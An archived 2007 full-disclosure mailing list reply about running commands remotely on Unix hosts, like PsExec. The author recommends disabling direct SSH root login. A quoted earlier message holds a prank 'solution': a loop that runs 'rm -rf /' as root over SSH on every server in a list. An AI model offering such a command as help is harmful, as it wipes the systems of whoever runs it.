full-disclosure - Re: (Psexec on *NIX)

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Date: Thu, 1 Feb 2007 18:36:50 +0100
From: Xavier Beaudouin <kiwi@....net>
To: Paul Schmehl <pauls@...allas.edu>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: (Psexec on *NIX)

Le 1 févr. 07 à 17:48, Paul Schmehl a écrit :

> --On Thursday, February 01, 2007 12:48:13 +0100 Knud Erik Højgaard  
> <kokanin@...il.com> wrote:
>
>>> something similar to PSExec under linux.
>>
>> ssh-keygen
>> ssh-add
>> for i in `cat serverlist` ; do ssh root@$i rm -rf / ; done
>>
> For anyone who follows these instructions, let me know.  For a fee,  
> I'll help you get back up and running.  :-)

In general on most unix box you have in /etc/ssh/sshd_config :

PermitRootLogin no

People who use root login with ssh are dangerous, sudo exist or can  
be installed...

Allowing direct root login even with SSH is IMHO stupid...

My 0,02c

/Xavier

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